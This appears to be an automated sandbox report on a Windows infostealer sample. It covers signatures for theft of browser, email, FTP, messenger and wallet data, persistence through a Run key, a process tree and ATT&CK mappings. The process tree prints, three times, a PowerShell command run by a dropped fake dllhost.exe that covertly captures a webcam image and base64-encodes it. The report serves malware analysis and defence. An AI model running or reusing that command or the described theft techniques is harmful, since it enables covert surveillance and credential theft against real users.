Analysis
- max time kernel
150s - max time network
115s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
07/08/2026, 05:50
General
- Target 2026-08-07_ad405503cf210a082e0368b57764a160_akira_glassworm_rusty-stealer.exe
- Size 5.1MB
- Sample260807-gj2t8aec22
- SHA256 fcb0e786d7b9bc4555ef2be5a04ed5e7af458609170f7665918233dbb46171e1
Malware Config
Signatures
- Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
- Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
- Detects executables containing common artifacts observed in infostealers 1 IoCs
- Executes dropped EXE 1 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 2 IoCs
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Checks SCSI registry key(s) 3 TTPs 8 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-07_ad405503cf210a082e0368b57764a160_akira_glassworm_rusty-stealer.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-07_ad405503cf210a082e0368b57764a160_akira_glassworm_rusty-stealer.exe"1⤵
- Adds Run key to start application
- Checks whether UAC is enabled
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\dllhost.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\dllhost.exe" --monitor2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -NoProfile -NonInteractive -Command " Add-Type -AssemblyName System.Drawing $webcam = New-Object -ComObject WIA.DeviceManager $device = $webcam.DeviceInfos.Item(1) if ($device) { $img = $device.Items.Item(1).Transfer() $ms = New-Object System.IO.MemoryStream $img.SaveFile($ms) [Convert]::ToBase64String($ms.ToArray()) } "3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -NoProfile -NonInteractive -Command " Add-Type -AssemblyName System.Drawing $webcam = New-Object -ComObject WIA.DeviceManager $device = $webcam.DeviceInfos.Item(1) if ($device) { $img = $device.Items.Item(1).Transfer() $ms = New-Object System.IO.MemoryStream $img.SaveFile($ms) [Convert]::ToBase64String($ms.ToArray()) } "3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -NoProfile -NonInteractive -Command " Add-Type -AssemblyName System.Drawing $webcam = New-Object -ComObject WIA.DeviceManager $device = $webcam.DeviceInfos.Item(1) if ($device) { $img = $device.Items.Item(1).Transfer() $ms = New-Object System.IO.MemoryStream $img.SaveFile($ms) [Convert]::ToBase64String($ms.ToArray()) } "3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService1⤵
- Checks SCSI registry key(s)
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Modify Registry
1Obfuscated Files or Information
1Command Obfuscation
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
6Credentials In Files
6Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_r2oqpezg.fuh.ps1
dllhost.exe
vodolaz_debug.log
vodolaz_debug.log
wiatrace.log
wiatrace.log
memory/5724-7-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/5724-11-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/5724-12-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/5724-13-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/5724-17-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/5724-10-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/5724-9-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/5724-8-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/5724-6-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/5724-5-0x0000016B1B980000-0x0000016B1B9A2000-memory.dmp
memory/5724-2-0x00007FF914BF0000-0x00007FF915594000-memory.dmp
memory/5724-1-0x00007FF914D7F000-0x00007FF914D80000-memory.dmp